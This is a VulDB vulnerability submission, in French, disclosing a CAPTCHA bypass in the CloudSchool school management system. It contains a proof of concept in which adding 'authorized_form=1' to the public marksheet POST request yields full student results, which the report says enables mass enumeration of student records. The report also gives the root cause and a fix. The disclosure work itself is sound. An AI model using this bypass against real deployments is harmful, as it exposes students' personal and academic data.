| Titre | H.R. Shadhin / CloudSchool (GitHub: hrshadhin) CloudSchool v3.0.1 CAPTCHA bypass on public marksheet portal |
|---|
| Description | Description
The public "online result" marksheet portal is the only unauthenticated anti-automation surface, protected
by a CAPTCHA. The controller disables that CAPTCHA whenever the request contains a parameter named authorized_form — a hidden field the in-app JavaScript injects for authenticated internal flows.
Since Request::exists() is fully attacker-controlled, any direct attacker adds authorized_form=1 to the POST and the CAPTCHA rule is removed entirely. The endpoint then returns
the full marksheet (student name, class, section, registration & roll numbers, per-subject marks, grades,
points, totals) for any (academic_year, class_id, exam_id, regi_no|roll_no) — enabling
unauthenticated mass harvesting of student PII and academic records by sequential enumeration.
Taint trace
// ReportController::marksheetPublic()
if(!$request->exists('authorized_form',0)){ // line 288 — attacker-controlled flag
$rules['captcha'] = 'required|captcha'; // line 289 — added only when flag absent
}
Proof of concept
PoC — control vs. bypass (no CAPTCHA ever solved)
# Control (no authorized_form, no captcha):
POST /online-result
_token=<REDACTED-CSRF>&academic_year=1&class_id=1&exam_id=11®i_no=261001
→ HTTP 302 (validation error: captcha required — control works)
# Test (authorized_form=1, STILL no captcha):
POST /online-result
_token=<REDACTED-CSRF>&authorized_form=1&academic_year=1&class_id=1&exam_id=11®i_no=261001
→ HTTP 200 (10,101 bytes) — full marksheet:
"Marksheet 1st Term Exam-2026 … Student Name: … Class: One Section: A
Regi No: 261001 Roll No: 1 …
1 101 Bangla 1st 24 23 - 55 47 2.00 C
2 102 Bangla 2nd 31 2 - 36 33 3.50 A-
… Total Marks & GPA …"
Assessment note: Confirmed: one request parameter removes the only anti-automation control; regi_no/roll_no can then be enumerated to harvest all published student results with no human interaction.
Root cause
A client-controllable boolean parameter is trusted by the server to disable a security control, with no server-side proof of "authorization".
Suggested remediation
$rules = [
'academic_year' => 'required|integer',
'class_id' => 'required|integer',
'exam_id' => 'required|integer',
'regi_no' => 'required',
'captcha' => 'required|captcha',
];
If the in-app authenticated flow needs to skip the CAPTCHA, gate it on authentication
( $request->user() / a server-side session flag) — never on a request parameter.
Add ThrottleRequests to the route as defence in depth. |
|---|
| La source | ⚠️ https://github.com/hrshadhin/school-management-system/issues/278 |
|---|
| Utilisateur | ChetanPujari (UID 101747) |
|---|
| Soumission | 24/10/2026 19:19 (il y a 1 mois) |
|---|
| Modérer | 24/11/2026 09:35 (1 month later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 442750 [hrshadhin CloudSchool jusqu’à 3.0.1 Captcha marksheetPublic authorized_form authentification faible] |
|---|
| Points | 20 |
|---|